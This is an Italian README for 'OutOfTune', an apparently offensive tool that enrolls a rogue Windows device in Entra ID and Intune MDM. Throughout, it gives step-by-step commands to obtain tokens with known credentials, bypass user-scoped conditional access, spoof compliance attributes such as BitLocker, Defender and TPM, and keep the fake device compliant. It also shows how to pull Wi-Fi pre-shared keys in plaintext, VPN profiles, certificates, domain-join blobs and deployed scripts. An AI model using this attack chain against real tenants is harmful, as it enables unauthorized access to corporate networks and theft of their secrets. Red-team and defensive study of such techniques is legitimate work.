
Strumento di enrollment per dispositivi non autorizzati per Entra ID e Intune MDM. Automatizza il join del dispositivo, l'acquisizione del token, l'enrollment MDM e il checkin OMA-DM per estrarre policy, credenziali Wi-Fi, script e app bypassando l'accesso condizionale.
Ispirato dall'originale Pytune, OutOfTune registra un dispositivo rogue in Entra ID, lo iscrive a Intune MDM e verifica lo stato di conformità risultante.
Supporta solo dispositivi Windows poiché era il mio obiettivo principale, potrebbe aggiungerne altri in futuro.
Blog di accompagnamento:
pip install -r requirements.txt
La catena viene eseguita in fasi, ciascuna basata sullo stato salvato in chain_state.json.
drs-token -> device-join -> device-token -> mdm-enroll -> mdm-checkin
ROPC (credenziali note):
python OutOfTune.py drs-token -u [email protected] -p Password1!
Token ottenuto in precedenza:
python OutOfTune.py drs-token -u [email protected] -t <drs_access_token>
python OutOfTune.py device-join
python OutOfTune.py device-join -n CORP-LAPTOP-01
Output <DEVICENAME>.pfx - il certificato del dispositivo. La password è password.
python OutOfTune.py device-token
python OutOfTune.py device-token --cert CORP-LAPTOP-01.pfx
Autentica presso AAD come oggetto dispositivo (non come utente). Elude i criteri di accesso condizionale con ambito utente.
python OutOfTune.py mdm-enroll
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
Esegue il SOAP discovery contro l'endpoint MDM, quindi invia una richiesta di enrollment WS-Trust PKCS10. Output <DEVICENAME>_mdm.pfx.
Usa --profile per falsificare gli attributi hardware/OS del dispositivo inviati a Intune (vedi Device Profiles).
python OutOfTune.py mdm-checkin
python OutOfTune.py mdm-checkin -r <refresh_token>
python OutOfTune.py mdm-checkin --cert CORP-LAPTOP-01_mdm.pfx
python OutOfTune.py mdm-checkin -O ./output
python OutOfTune.py mdm-checkin -O ./output --save-syncml ./output/raw
Esegue il loop OMA-DM SyncML contro r.manage.microsoft.com. Intune invierà profili di configurazione, assegnazioni di app e qualsiasi altro criterio destinato al dispositivo. Al termine del loop, le informazioni utili vengono automaticamente estratte e visualizzate.
Se viene fornito -r, il refresh token viene scambiato per un token di accesso manage.microsoft.com e inviato come Authorization: Bearer in ogni richiesta SyncML. Intune legge l'UPN da questo token e lo imposta come utente primario del dispositivo, causando l'associazione dei criteri di conformità con ambito utente. È necessario eseguire una sola volta con -r per assegnare un utente; tutti i checkin successivi possono essere eseguiti senza refresh token.
Senza -r il dispositivo non avrà un utente primario.
Dopo questo checkin iniziale, se non si effettua un altro checkin per un periodo prolungato (di solito 5-7 giorni), il dispositivo potrebbe risultare non conforme a causa del criterio predefinito per "Is Active". A seconda della configurazione di Intune, il dispositivo potrebbe entrare in un periodo di tolleranza prima di essere contrassegnato come non conforme. Se ciò accade, esegui di nuovo mdm-checkin. Se hai precedentemente utilizzato un refresh token per assegnare un utente primario, non è necessario inviarlo di nuovo poiché l'utente primario è ora memorizzato nel backend di Intune.
Ri-parsa i round XML raw salvati con --save-syncml senza eseguire un checkin live.
python OutOfTune.py parse-checkin --dir ./output/raw -O ./output2
python OutOfTune.py parse-checkin --file ./output/raw/round_001.xml -O ./output2
python OutOfTune.py check -u [email protected] -r <refresh_token>
python OutOfTune.py check -u [email protected] -p Password1!
Conia un PRT dal certificato del dispositivo, lo scambia per un token IWService e interroga IWService/Devices per lo stato di conformità del dispositivo e le eventuali regole di non conformità.
Usa -r con un refresh token di sessione MFA se il tenant CA richiede MFA per la risorsa di enrollment.
Recupera le app Win32 e gli script PowerShell assegnati al dispositivo tramite IME SideCarGateway. Utilizza solo il certificato client MDM — non è richiesto alcun token utente.
python OutOfTune.py download-apps
python OutOfTune.py download-apps --cert CORP-LAPTOP-01_mdm.pfx
scripts/<PolicyId>.ps1apps/<AppName>/Recupera gli script di remediation proattivi (coppie di rilevamento + remediation) assegnati al dispositivo.
python OutOfTune.py get-remediations
python OutOfTune.py get-remediations --cert CORP-LAPTOP-01_mdm.pfx
Ogni criterio viene salvato in remediations/<PolicyId>/ contenente:
detection.ps1 — lo script di rilevamentoremediation.ps1 — lo script di remediationparams.json — l'ID del criterio e eventuali parametri dello scriptSe la rimozione del dispositivo da Intune fallisce, eliminalo da Entra. Il dispositivo entrerà quindi in un periodo di tolleranza in Intune e verrà automaticamente rimosso in un secondo momento.
Rimuovi il dispositivo da Intune:
python OutOfTune.py retire-intune -u [email protected] -r <refresh_token>
Rimuovi l'oggetto dispositivo da Entra ID:
python OutOfTune.py entra-delete
python OutOfTune.py status
Gli attributi del dispositivo inviati a Intune durante l'enrollment e il checkin sono completamente falsificabili tramite un profilo JSON. Questo include identificatori hardware, versione del sistema operativo, produttore e tutti i valori CSP di conformità auto-dichiarati (BitLocker, Firewall, Defender, TPM, Secure Boot).
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
python OutOfTune.py mdm-checkin # il profilo viene salvato nello stato e riutilizzato automaticamente
| File | Dispositivo |
|---|---|
profiles/default.json | Valori predefiniti (VMware / Win10 Enterprise) |
profiles/dell_win11_ent.json | Dell Latitude 5540 / Windows 11 Enterprise 23H2 |
Tutti i valori CSP di DeviceStatus sono auto-dichiarati e considerati attendibili da Intune senza verifica indipendente. I controlli di conformità attestati HAS (BitLockerEnabled, SecureBootEnabled tramite CSP HealthAttestation) richiedono un TPM reale e non possono essere falsificati in questo modo.
--debug log HTTP + token dettagliati
--proxy <url> instrada il traffico attraverso un proxy (es. http://127.0.0.1:8080)
Questi vanno prima del comando:
python OutOfTune.py --debug device-token
python OutOfTune.py --proxy http://127.0.0.1:8080 mdm-checkin
Se hai certificati da un'esecuzione precedente o vuoi utilizzare file PFX specifici:
python OutOfTune.py device-token --cert path/to/device.pfx
python OutOfTune.py mdm-enroll --cert path/to/device.pfx
python OutOfTune.py mdm-checkin --cert path/to/mdm.pfx
python OutOfTune.py check --cert path/to/device.pfx
python OutOfTune.py download-apps --cert path/to/mdm.pfx
python OutOfTune.py get-remediations --cert path/to/mdm.pfx
Tutti gli output delle fasi vengono salvati in chain_state.json nella directory di lavoro. Eliminalo per ricominciare da capo. Usa status per ispezionare lo stato corrente senza eseguire nulla. Se hai a che fare con più dispositivi, assicurati che ciascuno abbia il proprio file di stato. Il file di stato predefinito può essere modificato all'inizio dello script per puntare al dispositivo con cui stai facendo esperimenti. Prestare attenzione alle opzioni di sovrascrittura dei certificati, sono principalmente per scopi di debug.
Un enorme ringraziamento va a @temp43487580 che ha creato l'originale Pytune e la cui ricerca originale ha reso possibile tutto ciò
| Flag | Descrizione |
|---|
--cert FILE | PFX MDM da utilizzare — il nome del dispositivo viene derivato automaticamente dal nome del file |
-r RT | Refresh token utente — imposta l'utente primario (necessario solo una volta) |
-O DIR | Salva gli artefatti estratti in DIR (wifi/, vpn/, scripts/, certs/, add_values.json, policy_values.json) |
--save-syncml DIR | Salva il SyncML XML raw per ogni round in DIR per un successivo re-parsing offline |
-o FILE | Scrivi l'output completo della console in FILE |
| Categoria | Salvato in | Note |
|---|
| Profili Wi-Fi | wifi/<SSID>.xml + _psk.txt | PSK in testo semplice estratto se presente |
| Profili VPN | vpn/<name>.xml | ProfileXML completo |
| Payload di certificati | certs/cert_N.b64 | Blob PFX crittografati (raw, non ancora decifrati) |
| SCEP challenges | mostrato | Nome del modello CA, URL della challenge |
| Script | scripts/<name>.ps1 | Script PowerShell inviati tramite OMA-DM |
| URL di download MSI | mostrato | Link CDN diretti per app LOB |
| Blob ODJ | odj_blob.b64 + odj_strings.txt | Offline Domain Join – stringhe leggibili estratte |
| Valori aggiunti | add_values.json | Tutti gli altri comandi Add (certificati CA radice, onboarding MDE, configurazione criteri) |
| Valori sostituiti | policy_values.json | Valori del CSP Criteri impostati da Intune |
| Campo | CSP | Note |
|---|
os_version | DevDetail/SwV | Controlli di conformità versione OS min/max |
os_edition_syncml | WindowsLicensing/Edition | 4 = Enterprise, 48 = Pro |
manufacturer | DevInfo/Man | Alcuni criteri consentono elenchi di produttori |
mac_address | SOAP AdditionalContext/MAC | Tutti zeri è un indicatore evidente |
hw_dev_id_enroll | SOAP AdditionalContext/HWDevID | 64 caratteri esadecimali |
bitlocker_status | BitLocker/Status/DeviceEncryptionStatus | 2 = crittografato (auto-dichiarato) |
encryption_compliance | DeviceStatus/Compliance/EncryptionCompliance | 1 = conforme (auto-dichiarato) |
firewall_status | DeviceStatus/Firewall/Status | 0 = attivo (auto-dichiarato) |
secure_boot_state | DeviceStatus/SecureBootState | 1 = abilitato (auto-dichiarato, non attestato HAS) |
tpm_version | DeviceStatus/TPM/SpecificationVersion | Nessuna prova crittografica |
defender_enabled | Defender/Health/DefenderEnabled | true = in esecuzione |
defender_version | Defender/Health/DefenderVersion | Alcuni criteri impongono una versione minima |